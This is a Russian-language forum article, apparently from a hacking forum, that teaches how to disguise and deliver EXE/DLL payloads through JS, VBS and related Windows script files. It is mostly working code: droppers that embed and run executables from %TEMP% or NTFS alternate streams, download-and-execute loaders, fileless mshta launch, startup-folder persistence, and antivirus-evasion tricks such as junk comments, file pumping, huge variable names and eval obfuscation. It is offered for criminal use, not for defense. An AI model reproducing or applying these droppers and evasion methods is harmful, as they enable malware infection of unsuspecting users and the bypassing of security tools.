• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Файловые форматы для доставки пейлоада, детальное и подробное описание. Часть N1: форматы *.JS/*.VBS/*.WSH/*.WSF/*.URL

it_solutions

HDD-drive
Пользователь
Регистрация
03.07.2020
Сообщения
49
Реакции
163
Автор: it_solutions
Специально для форума xss.pro

В данной статье будет поднята исключительно актуальная тема: как замаскировать EXE/DLL, разместив его внутри другого файла, который считается относительно безопасным, и сделать его запуск при нажатии в проводнике или в почтовом аттаче.

Если ищете информацию по способам доставки пейлоада на удалённый компьютер и про то, как внутрь какого-либо файла засунуть EXE/DLL и запустить его оттуда, то определённо точно здесь найдёте массу полезного.
Эта статья является первой частью руководства по файловым форматам для доставки пейлоада. В продолжениях будут рассмотрены и детально описаны все возможные файловые форматы, подходящих для целей доставки EXE/DLL.
Если данная тема интересна - ставьте лайки и пишите в комментариях какие файловые форматы интересны в первую очередь, буду по ним делать следующую часть.

В данной статье мы рассмотрим 5 файловых форматов для доставки пейлоада. Четыре скриптовых файловых формата (*.JS, *.VBS, *.WSF, *.WSH) и *.URL формат.
Первые четыре файловых формата позволяют работать с полноценным программным кодом, со скриптами на языках программирования VBScript и JScript.
Формат *.URL в этом плане сильно отличается, там нет никакого программного кода, но есть возможность запускать исполняемые файлы, указав к ним путь.
Через эту маленькую лазейку и реализуется доставка пейлоада в *.url файлах.
Несмотря на недостаток URL формата (отсутствие в нём возможности писать программный код) он обладаёт возможностью замаскировать файл под PDF документ или графическое изображение, задав нужную иконку.

Во всех версиях Windows есть встроенный скриптовый движок, который называется WSH - Windows Scripting Host.
С помощью него можно писать скрипты на двух языках: VBSCript и JScript.
В подсистеме WSH есть четыре типа исполняемых файлов, которые мы можем использовать для организации доставки полезной нагрузки.
Это файлы с расширениями *.js, *.vbs, *.wsh и *.wsf.
Перед тем как перейти к разбору WSH и WSF форматов, необходимо разобрать принципы работы JS и VBS файлов, по той причине что програмный код в WSH и WSF файлах будет работать на VBScript и на JScript.

Файлы JS​

Несмотря на одинаковое расширение файлов *.js, которые мы часто видим на Web-страницах, яваскрипт код в подсистеме Windows отличается от браузерного, хотя и очень похож.
В *.js файлах используется майкрософтовский диалект яваскрипт, который называется JScript.
Главное интересующая нас особенность этого диалекта заключается в том, что там есть возможность работать с файловой системой, есть доступ к командной строке и, как из этого следует, есть возможность запускать произвольные EXE/DLL файлы.
Сам EXE/DLL файл можно хранить двумя путями. Первый способ, это хранить его на удаленном сервере. Второй способ это хранение исполняемого файла внутри JS файла.
Преимущество первого способа это компактность JS-файлов, весь яваскрипт код необходимый для скачивания и запуска занимает всего лишь 300-500 байт.
Недостаток заключается в том, что полезная нагрузка может быть поймана AV при попытке её скачивания через JS файл.
Второй способ плох большими размерами JS-файла, это как минимум размер полезной нагрузки плюс ещё код на яваскрипт.
Следовательно, из-за размера такой файл сложнее чистить. Плюс ко всему, нужно ещё предусмотреть шифрование полезной нагрузки внутри JS файла, чтобы он не лежал там в открытом виде.
Преимущества способа: нет риска поймать поведенческий детект при попытке скачивания файла с удалённого сервера.

Второй способ, с хранением внутри полезной нагрузки внутри JS файла, может быть реализован двумя путями.
Первый путь это перевод пейлоада в шестнадцатеричные строки, которые в процессе работы скрипта декодируются обратно в двоичное представление и последовательно записываются в EXE/DLL файл.
Второй путь это сохранение пейлоада в конце JS файла и последующие извлечение его оттуда, запись во временный файл и запуск.

Основная суть первого способа хранения пейлоада вынутри *.JS файла отражена в следующем скрипте:

Код:
var outStreamW=new ActiveXObject("ADODB.Stream");
var outStreamA=new ActiveXObject("ADODB.Stream");
var binStr='';
outStreamW.Type=2;
outStreamW.Open();

outStreamW.WriteText(h('000102030405060708090a0b0c0d0e0f'));
outStreamW.WriteText(h('101112131415161718191a1b1c1d1e1f'));
outStreamW.WriteText(h('202122232425262728292a2b2c2d2e2f'));
outStreamW.WriteText(h('303132333435363738393a3b3c3d3e3f'));
outStreamW.WriteText(h('404142434445464748494a4b4c4d4e4f'));
outStreamW.WriteText(h('505152535455565758595a5b5c5d5e5f'));
outStreamW.WriteText(h('606162636465666768696a6b6c6d6e6f'));
outStreamW.WriteText(h('707172737475767778797a7b7c7d7e7f'));
outStreamW.WriteText(h('808182838485868788898a8b8c8d8e8f'));
outStreamW.WriteText(h('909192939495969798999a9b9c9d9e9f'));
outStreamW.WriteText(h('a0a1a2a3a4a5a6a7a8a9aaabacadaeaf'));
outStreamW.WriteText(h('b0b1b2b3b4b5b6b7b8b9babbbcbdbebf'));
outStreamW.WriteText(h('c0c1c2c3c4c5c6c7c8c9cacbcccdcecf'));
outStreamW.WriteText(h('d0d1d2d3d4d5d6d7d8d9dadbdcdddedf'));
outStreamW.WriteText(h('e0e1e2e3e4e5e6e7e8e9eaebecedeeef'));
outStreamW.WriteText(h('f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff'));

outStreamW.Position=0;
outStreamA.Type=2;
outStreamA.Charset='ISO-8859-1';
outStreamA.Open();
outStreamW.CopyTo(outStreamA);
outStreamA.SaveToFile('test.exe',2);
outStreamW.Close();
outStreamA.Close();

function h(a)
{
    b='';
    for(i=0;i<(a.length/2);i++)
    {
        b+=String.fromCharCode('0x'+a.substr(i*2,2));
    }
    return b;
}

Данный скрипт создает тестовый файл test.exe в той же папке из которой он запустился.
В файл записывается весь байтовый диапазон чисел, от 0x00 до 0xFF.
Это нужно для того, чтобы убедиться, что все байты из EXE/DLL файла запишутся корректно и не будет происходить какой-либо конвертации символов, типа перевода символов табуляции с кодом 0x09 в символ пробела с кодом 0x20.
Созданный скриптом файл test.exe выглядит так:

test_exe_set_of_all_byte_values.png


Как мы видим, весь байтовый диапазон из 255 байт записался корректно, а это значит что таким способом мы можем сохранять в JS файлах произвольные двоичные данные и записать их в отдельный файл.
Вся суть этого метода заключается в том, что объект ADODB.Stream позволяет конвертировать Unicode строку в строку Ansi таким способом, что байты из Unicode строки в результирующей ascii строке останутся без изменений.
Например, если мы во входную уникоде строку вписали байты 0x00 и 0xFF, то в этом случае и в выходную ANSI строку запишутся эти два байта. Без каких-либо преобразований и изменений.
Чтобы такое произошло, к выходному потоку надо просто приписать вот эти два параметра:

Код:
outStreamA.Type=2;
outStreamA.Charset='ISO-8859-1';

После копирования строки командой outStreamW.CopyTo(outStreamA) мы сохраняем выходной поток в файл test.exe командой outStreamA.SaveToFile('test.exe',2) - в файле запишутся двоичные данные.
Вообще, объект ADODB.Stream предназначен для работы только с текстовыми данными, хранящимися в уникоде либо в анси формате.
Но вот такой обходной путь позволяет работать и с произвольными двоичными данными.

Пейлоад внутри JS файла хранится в виде шестнадцатеричного байтового представления в виде вот таких строк:

Код:
outStreamW.WriteText(h('000102030405060708090a0b0c0d0e0f'));

Здесь шестнадцатеричная байтовая строка передаётся функции расшифровки h(), которая переводит этй строку в байтовый массив.
Затем этот байтовый массив с помощью метода outStreamW.WriteText записывается в поток ADODB, который в конце работы скрипта будет сохранён в отдельный файл.
Главный принцип работы функции перевода шестнадцатеричной строки в байты заключается в следующем коде:

Код:
String.fromCharCode('0x'+a.substr(i*2,2));

Из входной строки "a" последовательно берутся по два символа, представляющие собой значение каждого байта и к ним приписывается модификатор "0x", обозначающий что работа ведётся с байтами, а не с символами.
Так последовательно проходим всю шестнадцатеричную строку, и складываем результат в переменую "b".
По выходу из цикла в переменной "b" будет сформирован байтовый массив, соответствующий входной шестнадцатеричной строке.
Этот получившийся байтовый массив мы возвращаем по выходу из функции h().

На каждый байт пейлоада нам нужно будет сохранять по два байта шестнадцатеричной строки. По этой причине размер выходного файла как минимум будет в два раза больше входного EXE/DLL файла.
Кроме того, у JS файлов больших размеров (начиная примерно от 10-12 мегабайт) сильно замедляется их работа, и выходной файл тогда может создаваться 1-2 минуты или больше.
Поэтому данный метод не подходит для крупных файлов, или для пакета из нескольких файлов.

Второй способ хранения пейлоада заключается в хранении необработанных двоичных данных (raw binary data) в конце *.js файла.
Скрипт на JS, работающий с произвольными двоичными данными из файлов, выглядит так:

Код:
var fs=new ActiveXObject("Scripting.FileSystemObject");
var fil=fs.getfile(WScript.scriptfullname);
x1=fil.openastextstream().read(fil.size);
x4=x1.substr(335,9999999);
f=fs.getspecialfolder(2)+"\\.exe";
var x3=fs.createtextfile(f);
x3.write(x4);
x3.close();
x=new ActiveXObject("WScript.shell");
x.exec(f);
WScript.Quit();

К этому скрипту с помощью команды бинарного копирования приписывается произвольный EXE/DLL файл:

Код:
copy/b stub.js+putty.exe result.js

При открытиии файла result.js в папке %temp% создастся и запустится исполняемый файл, размещённый внутри JS скрипта.
Первой строкой мы получаем доступ к объекту "Scripting.FileSystemObject", отвечающего за работу с файловыми операциями.
Второй строкой мы получааем имя скрипта, из которого запустились. Это имя хранится во встроенной в подсистему WSH глобальной переменной WScript.scriptfullname, а так же открываем файл с этим именем.
Третий строкой мы производим считывание в переменную "x1" всего содержимого скрипта, из которого мы запустились. Из-за использования метода opentextstream считывание происходит не в текстовом режиме, а в двоичном.
Это важно по той причине, что нам нужно извлечь EXE/DLL файл, который всегда представляет собой двоичные данные.
В считанных данных будет как сам скрипт, там и EXE файл, лежащий в конце скрипта.
Четвёртой строкой мы выделяем из считанных данных наш EXE файл, получая срез массива считанных данных начиная с позиции 335. 335 - это размер скрипта (стаба JS), который мы пропускаем.
Пятой строкой мы получаем путь временного файла, по которому будет записан наш EXE. С помощью функции getspecialfolder(2) мы получаем путь к папке %TMP% (параметр 2 означает что нужен стандартный путь папки для временых файлов).
Строки 6,7 и 8 это запись извлечённого из скрипта EXE файла во временный файл, находящийся в папке %TMP%.
Строки 9 и 10 - получение доступа к командной строке и запуск созданного нами EXE файла в папке %TMP%.
Последняя строка это команда завершения работы скрипта WScript.Quit()
Она нужна обязательно, для того чтобы данные, записанные за скриптом, дальше проигнорировались.
Если эту команду не поставить, то получится следующий эффект:

error_no_quit_command.png


WSH нам выдаёт ошибку: "MZ - определение осутствует".
Но "MZ" это первые два символа EXE файла, а это означает что самое начало EXE файла он воспринимает как продолжение скрипта.
Поэтому подсистеме WSH нужно чётко указывать, где заканчивается скрипт, для того чтобы не интерпретировались лишние данные.
Для этого мы и указываем команду WScript.Quit() в конце скрипта.
Так же после команды WSCript.Quit() обязательно нужно ставить перевод строки, чтобы эта команда не сливалась с записанным за скриптом данными:

result_js_quit_command_with_crlf.png


На рисунке жёлтым цветом обведена обязательная команда WScript.Quit() и зелёным цветом подчёрнкута обязательная новая строка после этой команды - для того чтобы сигнатура исполняемого файла "MZ" и команда выхода из скрипта не сливались.

Дальше уменьшаем размер, делаем очень компактный JS-стаб всего лишь в 245 байт размером и записанный одной строкой:

Код:
e=new ActiveXObject("scripting.filesystemobject");f=e.getspecialfolder(2)+"\\`";q=e.createtextfile(f);q.write(e.getfile(WScript.scriptfullname).openastextstream().read(1e7).substr(245,1e10));q.close();new ActiveXObject("wscript.shell").exec(f);

В компактном варианте стаба сначала видны очевидные способы оптимизации: переменные из одного символа, удаление пробелов между лексемами, запись в одну строку, используя символ точки с запятой как межстрочный разделитель.
Из неочевидных моментов, во-первых, нужно отметить то, куда пропала команда "WScript.Quit()" и как мы обошлись без неё.
Вместо этой команды мы в конце скрипта поместили байт с нулевым значением так, как это показано на следущем скриншоте:

zero_byte_in_js_script.png


Движок WSH воспринимает прочитанный скрипт как ASCIIZ строку, то есть как строку из символов, завершающуюся нулевым байтом.
Поэтому, дойдя до нулевого байта, WSH воспринимает эту позицию как конец скрипта. И всё что находится за нулевым байтом скриптовым движком WSH игнорируется.
За этим нулевым байтом можно смело хранить любые данные (например пейлоад в виде EXE/DLL).
Получается, что скрипт можно завершить двумя способоами: командой WScript.Quit() (документированный способ) и записью нулевого байта в конец скрипта (недокументированный способ).
В компактном варианте скрипта мы этим сэкономили 15 байт - длину строки "WScript.Quit()" минус один байт, и два байта перевода строки CR LF.
Так же мы выбросили получение размера файла, чтобы получить количество байт, которые мы должны прочитать из скрипта, из которого запустились.
Вместо этого мы команде чтения файла openastextstream().read() заведомо большое число (100000000 байт) - таким способом файл всё равно будет прочитан, и размер файла заранее знать не нужно.
При этом мы использовали краткую запись числа 10000000 - "1E7", записав число в степенной форме. 1E7 обозначает 10 возведённую в седьмую степень, или, проще говоря семь нулей после числа "1".

Оптимизируем дальше: первое что можно сделать это обойтись без записи временного файла в папку %TEMP%. Вместо этого временный файл мы сохраним в NTFS поток того файла, из которого мы стартовали.
Полное имя этого файлового потока будет такое: Scriptfullname + ":a"
Файловые операции подсистемы WSH прекрасно умеют работать как с обычными файлами, так и с файловыми потоками. Позволяют с потоками делать как чтение/запись, так и запуск исполняемых файлов из них.
Для создания или доступа отдельного потока надо всего лишь приписать к имени файла через двоеточие имя потока, например так: file.js:streamName
Выкинув код для определения пути к папке %TEMP% мы сэкомим дополнительные 17 байт.

И второй метод, который позволяет не только уменьшить размер скрипта, но и хорошо обфусцирует код.
В Javascript/JScript есть возможность присваивать значение другим переменным не отдельной строкой, а внутри операции присваивания другой переменной.
Например:

Код:
a=(b=10)+20
WScript.Echo(a,b)

Этот код выдаст значение 30 и 10.
Оператор "b=10" мы писали не отдельной строкой, а внутри оператора присваивания переменной a.
Если записывать присваивания переменных в скрипте таким способом, то код становится очень запутанным и сложным для анализа.

Итак, выкинув работу с папкой %TEMP%, и применив определение новых переменных внутри операторов присваивания мы получаем такой JS-стаб:

Код:
(q=(e=new ActiveXObject("scripting.filesystemobject")).createtextfile(a=(f=WScript.scriptfullname)+":a")).write(e.getfile(f).openastextstream().read(1E7).substr(226,1E10));q.close();new ActiveXObject("WScript.shell").exec(a);

Существенное отличие от предыдущего варианта здесь одно - этот стаб работает только на файловых системах NTFS, по той причине что используются файловые потоки.
Но NTFS стоит на подавляющем большинстве компьютеров.
В итоге размер этого JS-стаба получился всего лишь 226 байт.
Это наименее возможный размер JS-стаба, вполне возможно что является мировым рекордом. Меньше хотя бы на 1 байт сделать уже, скорее всего, не получится.

В следствии экстремально компактных размеров данного стаба в нём содержится наименее возможное число сигнатур для AV, и поэтому его очень удобно чистить.
Простота использования - не нужно писать никаких билдеров. Прописывания пейлоада делается одной единственной командой в командной строке.
И, вследствие простоты сборки новых билдов с помощью всего лишь одной команды copy, данное решение обладает высокой степенью автоматизации и технологичности.
Очень легко встроить генерацию таких JS-билдов в свою IT-инфрастуктуру или техпроцесс.

Чистка JS-файлов, в первую очередь сводится к вставке комментариев с произвольными данными в междустрочное пространство.
Выглядит это так:

Код:
a = 100
// This is a trash data N1
// This is a trash data N2
WScript.Echo()
/*
This is a trash data N1
This is a trash data N2
*/

Используем построчные комментарии и строки содержащие случайным образом сгенерированные мусорные данные (comment garbage, comment trash).
Внутри комментариве можно использовать любые байты, кроме нулевого:

js_cleaning_comments_garbage.png


На скриншоте зелёным цветом обведены двоичные данные внутри комментариев - байты 0x01 0x02 0x02 0x03 0x04 0x05 0xFA 0xFB 0xFC 0xFE 0xFF.

Для Windows 10 максимальная длина возможного JS-скрипта, она равняется 64 мегабайта.
Если этот размер превысить, то WSH выдаст сообщение об ошибке чтения файла.
Для разных версий и подверсий Windows это число может отличаться, но примерная величина будет такой.
При превышении размера строки с комментарием будет выдаваться такая ошибка:

variable_size_exceeded_example.png


Величину эту важно знать для реализации техники File Pumping (раздувание файла).
Смысл в том, чтобы раздуть файл до нескольких десятков мегабайт. Многие AV исключают из проверки файлы такого размера, либо не проверяют их особо тщательно.
Файл можно раздуть с помощью нескольких мегабайт одинаковых символов, тогда будучи заархивированным такой файл будет иметь вполне адекватный размер.
JS-скрипт в десятки мегабайт размером, содержащий внутри себя огромную строку с повторяющимися символами, ужмётся в архиве всего лишь в пару десятков килобайт.
Файл пампер легко делается на Питоне:

Код:
with open('file.bin','w')as f:f.write('A'*10000)

В этом примере повторяющийся символ просто умножаем на необходимый нам размер раздутого файла, и получаем с точностью до байта файл нужного нам размера.
Этот однострочник удобно использовать из командной строки, не сохраняя его в отдельный файл:

Код:
python -c "with open('file.bin','w')as f:f.write('A'*10000)"

Вместо коментариев с мусорными данными можно между строк скрипта вставить произвольное количество разных математических операций, не влияющих на логику работы скрипта:

Код:
AAAAAAAAAAAAAAAAAAAAA1 = 11111;
WScript.Echo("Test 1")
AAAAAAAAAAAAAAAAAAAAA2 = 11111;
AAAAAAAAAAAAAAAAAAAAA3 = 11111/AAAAAAAAAAAAAAAAAAAAA1;
WScript.Echo("Test 2")
BBBBBBBBBB=(AAAAAAAAAAAAAAAAAAAAA1*AAAAAAAAAAAAAAAAAAAAA1+100)
WScript.Echo("Test 3")

Эта техника называется вставкой арифметического мусора (arithmetic garbage).
<b>Имя переменной можно делать в десятки мегабайт длиной</b> - от переменных такой длины клинит антивирусные движки, анализирующие скриптовые языки.
Скрипт с такими длинными переменными они считают некорректным и прекращают его анализ.
Переменные, используемые в работе скрипта, можно делать в несколько мегабайт длиной, написав их таким способом:

Код:
AAAAAAA[тут несколько мегабайт повторяющихся данных]AA = new ActiveXObject("scripting.filesystemobject")

Очень полезна для крипта JS функция eval, которая позволяет выполнять JS-код, содержащейся в строке:

Код:
x = "WScript.Echo(12345)"
eval(x)

Строку можно всячески шифровать, модифицировать, разбивать на отдельные части. Самое простой пример, разбитие строки на отдельные символы для того чтобы убрать сигнатуру:

Код:
x = "W"+"S"+"c"+"r"+"i"+"p"+"t"+"."+"E"+"c"+"h"+"o"+"("+"1"+"2"+"3"+"4"+"5"+")";
eval(x)

Строку "x" можно так же зашифровать с помощью функций конвертации символа в Ascii-код и обратно.
Для этого в JScript существуют две функции: charCodeAt() и fromCharCode()
Функция charCodeAt удобна для получения десятичного Ascii-кода определённого символа, напрнимер:

Код:
WScript.Echo("A".charCodeAt());

Этот строка выдаст значение 65
Чтобы получить по значению 65 соответствующий ему Ascii-символ, пишем следующее:

Код:
String.fromCharCode(65)

В этом случае выведется месседжбокс с символом "A"
Кроме того, в функции fromCharCode можно указать множество кодов, и из них будет сформирована строка:

Код:
String.fromCharCode(65, 65, 65)

В этом случае будет выведен месседжбокс со строкой "AAA".
Применим этот метод шифрования исполняемого кода для скрипта, выводящего месседжбокс:

Код:
eval(String.fromCharCode(0x57,0x53,0x63,0x72,0x69,0x70,0x74,0x2E,0x45,0x63,0x68,0x6F,0x28,0x31,0x32,0x33,0x34,0x35,0x29))

Данный код выведет месседжбокс с текстом 12345.
С байтовым массивом, который находится в параметре функции fromCharCode, можно делать самые разнообразные операции. Ксорить, шифровать алгоритмом RC5 и т.д.

Файлы VBS​

Формат VBS очень похож на формат JS. Отличие только в применяемом языке программирования, но методы запуска и хранения EXE внутри файла те же самые, что и в JS формате.
VBS делаем по сходной схеме что и делали с JS файлами - получаем доступ к объекту "Scripting.FileSystemObject", через метод этого объекта Write записываем во временный файл наш пейлоад и далее запускаем его через объект WScript.Shell().
Здесь, так же как и в случае с JS, ключевой является функция перевода шестнадцатеричной строкового представления байт в байтовый массив.
Это функция на VBScript будет выглядеть вот так:

Код:
function h(e)
    for s=1 to len(e) step 2
        h=h & chr("&h" & mid(e,s,2))
    next
end function

msgbox h("3132333435")

Данный скрипт выведет месседжбокс со строкой "12345", расшифровав её из строкового шестнадцатеричного представления "3132333435" с помощью функции h().
Внутри этой функции в цикле, который повторяется с шагом 2, последовательно берём по два байта из строки, которыми закодирован каждый отдельный байт.
После этого приписываем к этим двум символам модификатор &h - это тип данных визуал бейсика, обозначающий, что мы работаем с типом данных "байт" - так из двух строковых символов получился отдельный байт.
После чего эти расшифрованные байты накапливаются в выходном массиве, который возвращается функцией h().

В VBSCript, так же как и в JSCript, весь скрипт целиком можно записать одной строкой.
Построчным разделителем для такой записи здесь служит символ двоеточия ":", подобно такому же междустрочному разделителю ";" в JScript.
В компактном однострочном виде данная процедура выглядит так:

Код:
function h(e):for s=1 to len(e)step 2:h=h&chr("&h"&mid(e,s,2)):next:end function

Для VBSCript существует бесфайловый метод запуска скриптов.
VBScript, так же как и JSCript, можно запускать прямо из командной строки с помощью команды mshta.
Утилита Mshta получает скрипт для исполнения в виде параметра командной строки, по этой причине возможность однострочной записи скрипта очень важна.
Только что рассмотренный нами скрипт, запускаемый из командной строки в бесфайловой форме, будет выглядить так:

Код:
mshta vbscript:Execute("function h(e):for s=1 to len(e)step 2:h=h&chr(""&h""&mid(e,s,2)):next:end function:msgbox(h(""3132333435""))")

Вначале мы указываем префикс "vbscript:" означающий что скрипт, передаваемый через командную строку, написан на VBSCript.
Далее, по причине того что в нашем скрипте содержаться пробелы, мы должны воспользоваться функцией Execute, которая эти пробелы заэкранирует.
Функция Execute является аналогом функции eval() в JScript. Она выполняет код на VBScript, переданный ей строковым параметром.
Так же в нашем скрипте нам нужно экранировать кавычки. Они экранируются двойными кавычками.
Бесфайловый способ запуска скриптов ставит некоторые AV в тупик, так как нет файла для детекта и они не могут такую ситуацию обработать.

Далее, используя метод Write() из объекта Scripting.FileSystemObject, записываем во временный файл наш пейлоад, который мы расшифровали из шестнадцатеричных байтовых строк.

Код:
set f = createobject("scripting.filesystemobject")
set x = f.createtextfile(f.getspecialfolder(2) + "\\file.exe",1)
x.write(h("313233343500FFAAEE80850102030405"))
x.close

Первой строкой мы получаем доступ к объекту для работы с файловой системой - scripting.filesystemobject.
Второй строкой получаем путь к папке %temp% через метод getspecialfolder и создаём там временный файл для нашего дроппера file.exe
Далее, используя метод write, последовательно, строка за стройкой, записываем байты нашего дроппера, расшифровывая их из шестнадцатеричного строкового представления.
Все команды VBScript в данном примере написаны в нижнем регистре - это сделано для того, чтобы показать что VBScript нечуствителен к регистру символов.
Что можно применять для морфинга скриптов на VBScript, меняя регистр отдельных символов.

Однострочник для запуска файлов на VBScript выглядит так:

Код:
wscript.createobject("wscript.shell").run("calc")

Данный код запустит калькулятор. В этом примере видно, что можно не указывать полный путь к EXE (он берётся из переменной оружения path), а так же необязателно указывать расширение файла.
Второй однострочник запустит исполняемый файл из файлового потока:

Код:
wscript.createobject("wscript.shell").run("test.txt:exe_file")

Так же как и *.JS файлы, *.VBS файлы можно прятать внутри файловых потоков. Вызываются они оттуда таким же способом, с помощью утилит wscript и cscript:

Код:
wscript test.txt:test.vbs
cscript test.txt:test.js

Вообще напрямую, стандартными способами, из NTFS потока файл не вызвать. Если набрать в командной строке или в повершелл "test.txt:test.vbs" то будет выдано сообщение об ошибке.
Но запуск оттуда всегда возможен, просто для каждого типа файлов он будет разный.
Для js/vbs/wsh/wsf файлов это запуск через утилиты cscript и vbscript.
Для исполняемых файлов это запуск с помощью команды conhost (неизвестный в паблике способ запуска, речь идёт именно про этот момент о запуске файлов из NTFS потоков, а не просто отдельных файлов на диске):

Код:
conhost test.txt:file.exe
conhost test.txt:file

Утилите conhost можно передавать имя файлового потока как с расширением, так и без него - она определяет формат исполняемого файла по его структуре, но не по расширению.
Для DLL файлов запуск из NTFS потока будет выглядеть во так:

Код:
regsvr32 test.txt:test.dll

В этом случае, в отличие от команды conhost, расширение *.dll нужно указывать обязательно. Иначе regsvr32 выдаст ошибку о ненахождении файла.
Все эти методы можно использовать для скрытного запуска из JS/VBS скриптов файлов разных типов.

И ещё один интересный путь прописывания NTFS потоков не к файлам, а к какой-либо отдельной папке.
В NTFS системах папка рассматривается не как хранилище файлов, а как отдельный файл, в котором лежит список файлов,
Ну а раз это отдельный файл, то к нему можно так же приписывать файловые потоки, как и к обычным файлам.
Например, на VBScript это делает вот так:

Код:
set f = createobject("scripting.filesystemobject")
set x = f.createtextfile(f.getspecialfolder(2) + "\TestDir:testfile.js",1)
x.write("WScript.Echo('Test JS from NTFS stream')")
x.close

Данный код создаёт в папку %TMP% папку с именем TestDir и присоединённым к ней файловым потоком ":testfile.js".
В этот поток мы запишем короткий тестовый JScript, который выведет месседжбокс с сообщением.
В результате мы получили NTFS поток, приписанный к директории (но не к отдельному файлу), и в этом потоке спрятали исполняемый файл !
Этот тестовый JScript можно вызвать, набрав в строке: wscript TestDir:testfile.js

Так же существует способ копирования файлов в NTFS поток из командной строки.
Делается это совсем неочевидным способом - с помощью утилиты print, которая отвечает за вывод данных на принтер.
Казалось бы, что это должны уметь делать команды типа copy или xcopy, но на самом деле в них функционала для копирования файлов в NTFS потоки нет.
Команда для копирования файлов в NTFS потоки выглядит так:

Код:
print/D:C:\TESTDIR:file.exe C:\TEST\putty.exe

Этой командой мы к папке C:\TESTDIR приписали поток с именем file.exe, и скопировали в него файл, лежащий по пути C:\TEST\putty.exe
Файловый поток с пейлоадом можно приписать к такой важной папке, как папка автозагрузки.
Делаем это так: сначала набираем команды "explorer shell:startup", откроется папка автозагрузки в проводнике.
Нажимаем Ctrl-L, подсветится командная строка.
Нажимаем Ctrl-C, копируем содержимое команжной строки в буфер обмена.
Далее скопированный путь к папке автозагрузки вставляем в параметр команды Print.
В папку автозагрузки мы кладём короткий батник с командой conhost "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup:file.exe"
К стандартному пути папки автозагрузки мы приписываем имя NTFS потока, в котором хранится наш EXE.
Полное имя файла с NTFS потоком обязательно пишем в кавычках, чтобы заэкринировать пробелы.
Они там обязательно будут, потому что одна из папок в пути в папке автозагрузки содержит пробел. Это папка с именем "Start Menu".
Текущую папку, взяв её из переменной %CD%, в этом случае использовать нельзя !
Потому что при старте батника из автозагрузки в переменной %CD% вместо текущей папки будет храниться путь к системной папке виндовс: C:\WINDOWS\SYSTEM32
Именно по этому в батнике прописан стандартный полный путь к папке автозагрузки.
В итоге получаем бесфайловую автозагрузку. В автозагрузке лежит только короткий пусковой батник, EXE надёжно запрятан в NTFS потоки.

autorun_start_from_ntfs_stream.png


На скриншоте видно пустую папку автозагрузки, в ней лежит только батник и нигде не видно EXE файла.
У сработавшего батника специально не убрано консольное окно, для того чтобы было видно, как и откуда был извлечён и запущен исполняемый файл putty.exe

На скриншоте мы видим абсолютно пустую папку, в ней виден толко короткий пусковой батник.
В командной строке (обведено зелёным цветом) показан способ вызова спрятанного скрипта.
Жёлтым цветом показано срабатывание скрита - вывод тестового месседжбокса.
Таким способом можно прятать исполняемые файлы любого формата - от скриптов до EXE/DLL файлов.
Такой кривой путь к исполняемому файлу многие AV не могут корректно обработать, и пропускают этот объект из проверки, считая его некорректным и ошибочным.

Так же как и для *.js файлов, для файлов *.vbs то же работает метод нулевого байта в конце скрипта.
Записываем в конец скрипта байт со значением 0x00 и копируем в конец файла putty.exe - vbs скрипт остаётся работоспособным, при этом внутри его хранится копия исполняемого файла.

vbs_zero_byte.png


Так же как и для *.js файлов, данная особенность скриптового движка позволяет обойтись без метода хранения файлов в виде последовательностей байтовых шестнадцатеричных строк.

JS и VBS лоадеры​

Стандартный и самый распространённый тип лоадера реализуется через объекты ADODB.Stream и msxml2.xmlhttp.
С помощью них считываем в отдельный ADODB-поток содержимое удалённого файла, затем считываем из этого потока его содержимое, записываем во временный файл и запускаем.
Код лоадера на JS выглядит так:

Код:
var f=new ActiveXObject("scripting.filesystemobject");
q=f.GetAbsolutePathName(".");
q+=":$"

var x = new ActiveXObject("msxml2.xmlhttp"),
a = new ActiveXObject("ADODB.Stream");

x.open("GET", "http://localhost/putty.exe");
x.send();

if (x.status == 200)
{
    a.type = 1;
    a.open();
    a.write(x.responseBody);
    a.saveToFile(q);
    a.close();
}

var s=new ActiveXObject("wscript.shell").exec("conhost " + q);

Этот JS-лоадер отличается от типичных лоадеров доступных в паблике тем, что он <b>запускает EXE бесфайловым способом, используя NTFS-поток текущего каталога</b>.
Здесь нет стандартного сохранения временного EXE-файла в папке %TEMP%.
Первые три строки это получение текущего каталога и приписывание к нему имени файлового потока ":$".
Дальше всё стандартно, через объекты ADODB.Stream и msxml2.xmlhttp делаем скачивание EXE файла по ссылке http://localhost/putty.exe
Командой open задаём эту ссылку, командой send получаем её содержимое.
Содержимое ссылки скачается в переменную с именем responseBody, определённую внутри объекта msxml2.xmlhttp
Далее проверяем статус скачивания (http код ответа), если он равен 200 то всё скачалось без ошибок.
Проверка статуса операции должна быть по той причине, что на строке "if (x.status == 200)" происходит <b>ожидание завершения операции</b>.
До тех пор пока из "x.status" не будет возвращено какое-либо значение. выполнение скрипта дальше не пойдёт.
Если эту проверку убрать, то лоадер будет часто не срабатывать, время от времени будет выдавать ошибку "запрашиваемые данные ещё не готовы".
Далее командой saveToFile сохраняем содержимое переменной responseBody в файловый поток текущего каталога.
После всего этого запускаем из этого NTFS потока сохранённый туда наш EXE.

Можно обойтись без использования опасного с точки зрения детектов метода "scripting.filesystemobject", использовав для этого один из путей, который заведомо существует на компе.
Например это путь к папке для временных файлов, который хранится в переменной %TMP% или %TEMP%
Или путь к папке автозагрузки, который везде одинаков и стандартен: "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup".
Например, доступ к папке с временными файлами на JScript будет выглядеть вот так: ActiveXObject("wscript.shell").run("%TMP%\\putty.exe");

Тот же самый лоадер, переписанный на VBScript:

Код:
set f = CreateObject("Scripting.FileSystemObject")
q=f.GetAbsolutePathName(".")
q=q+":$"

set x = CreateObject("msxml2.xmlhttp")
set a = CreateObject("ADODB.Stream")

x.open "GET","http://localhost/putty.exe"
x.send()

if x.status = 200 THEN
    a.type = 1
    a.open()
    a.write(x.responseBody)
    a.saveToFile(q)
    a.close()
end if

CreateObject("wscript.shell").exec(q)

Как видно, код отличается высокой компактностью и простотой настройки. Настройка заключается всего лишь в прописывании нужного URL.
Недостаток заключается в том, что данный способ используется повсеместно и по этой причине такие лоадеры крайне тяжело чистить.

С появлением Windows 10 в стандартном наборе команд виндовс появилась утилита CURL. Та же самая утилита, что и в линуксах, один в один.
Эта утилита позволяет скачивать с http/https файлы и сохранять их по заданному пути.
Например, чтобы скачать пейлоад с http://localhst/file.bin и сохранить его во временную папку под именем "test.txt" пишем следующую команду:

Код:
curl http://localhost/putty.exe -o test.txt

